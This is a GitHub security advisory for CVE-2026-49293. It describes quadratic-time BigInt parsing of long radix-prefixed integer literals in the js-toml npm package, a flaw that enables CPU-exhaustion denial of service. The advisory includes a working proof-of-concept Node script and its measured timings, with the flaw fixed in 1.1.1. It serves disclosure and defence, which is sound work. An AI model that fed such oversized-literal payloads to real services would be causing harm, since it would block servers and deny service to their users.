GitHub Advisoryadvisory · npm

GHSA-wp3c-266w-4qfq js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals

HIGH Published 2026-06-26 Modified 2026-06-26 Official page ↗
Aliases
CVE-2026-49293
Ecosystem
npm
Packages
js-toml
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333, CWE-400, CWE-407
Reviewed
2026-06-26

Affected packages

• npm js-toml: < 1.1.1 → fixed in 1.1.1

Description

Summary `js-toml` versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work. A caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS. CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity). CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (= 0.0.0, { let result = BigInt(0); for (let i = 0; i { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw); const int = parseInt(digits, radix); if (Number.isSafeInteger(int)) { return int; } return parseBigInt(digits, radix); }); ``` Two compounding problems: 1. Algorithmic: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n²)`. 2. No length guard: the lexer regex at `src/load/tokens/NonDecimalInteger.ts#L14-L46` is `0x(|_)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite. By contrast, the `DecimalInteger` token interpreter at `src/load/tokens/DecimalInteger.ts#L12-L19` uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop. Impact A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML. Reachability The vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits). Realistic exposure surfaces: • Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest). • CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests. • IDE / language-server plugin that re-parses a TOML buffer on every keystroke. • Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker. PoC (End-to-end reproduction) Environment • Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`) • macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock) Install ```bash mkdir js-toml-cve && cd js-toml-cve npm init -y npm install [email protected] @iarna/toml ``` `poc_full_e2e.mjs` ```js import { load } from 'js-toml'; import iarna from '@iarna/toml'; function timeIt(label, fn) { const t0 = process.hrtime.bigint(); let result, err; try { result = fn(); } catch (e) { err = e; } const t1 = process.hrtime.bigint(); const ms = (Number(t1 - t0) / 1e6).toFixed(1); if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`); else console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`); } console.log('--- Sanity baseline (small inputs) ---'); timeIt('decimal int 1', () => { load('x = 1'); return ''; }); timeIt('hex 0x10', () => { load('x = 0x10'); return ''; }); timeIt('hex 0xffff', () => { load('x = 0xffff'); return ''; }); console.log('\n--- Amplification curve: js-toml.load() with 0x ---'); for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) { const hexDigits = 'f'.repeat(n); const tomlText = `x = 0x${hexDigits}`; timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`, () => { const r = load(tomlText); return `bits=${r.x.toString(2).length}`; }); } console.log('\n--- Negative control: same input via @iarna/toml ---'); for (const n of [10_000, 50_000, 100_000, 200_000]) { const hexDigits = 'f'.repeat(n); const tomlText = `x = 0x${hexDigits}`; timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`, () => { const r = iarna.parse(tomlText); return `type=${typeof r.x}`; }); } console.log('\n--- Octal / binary share the same code path ---'); for (const n of [50_000, 100_000]) { const octDigits = '7'.repeat(n); const binDigits = '1'.repeat(n); timeIt(`oct 0o${n.toLocaleString()} digits`, () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; }); timeIt(`bin 0b${n.toLocaleString()} digits`, () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; }); } ``` Captured run output (unpatched `[email protected]`, Node v26.0.0, Apple M-series) ``` js-toml version: 1.1.0 --- Sanity baseline (small inputs) --- decimal int 1: 1.3ms hex 0x10: 0.4ms hex 0xffff: 0.1ms --- Amplification curve: js-toml.load() with 0x --- hex 10,000 digits (10006 bytes input): 15.0ms bits=40000 hex 20,000 digits (20006 bytes input): 29.8ms bits=80000 hex 50,000 digits (50006 bytes input): 214.7ms bits=200000 hex 100,000 digits (100006 bytes input): 693.0ms bits=400000 hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000 hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000 --- Negative control: same input via @iarna/toml --- @iarna/toml hex 10,000 digits: 2.3ms type=bigint @iarna/toml hex 50,000 digi…

Related

Alias · CVE (1)

  • CVE-2026-49293 js-toml is a TOML parser for JavaScript, fully compliant with the TOML 1.0.0 Spec. vulnerability

Weakness · CWE (3)

  • CWE-1333 Inefficient Regular Expression Complexity weakness
  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-407 Inefficient Algorithmic Complexity weakness

References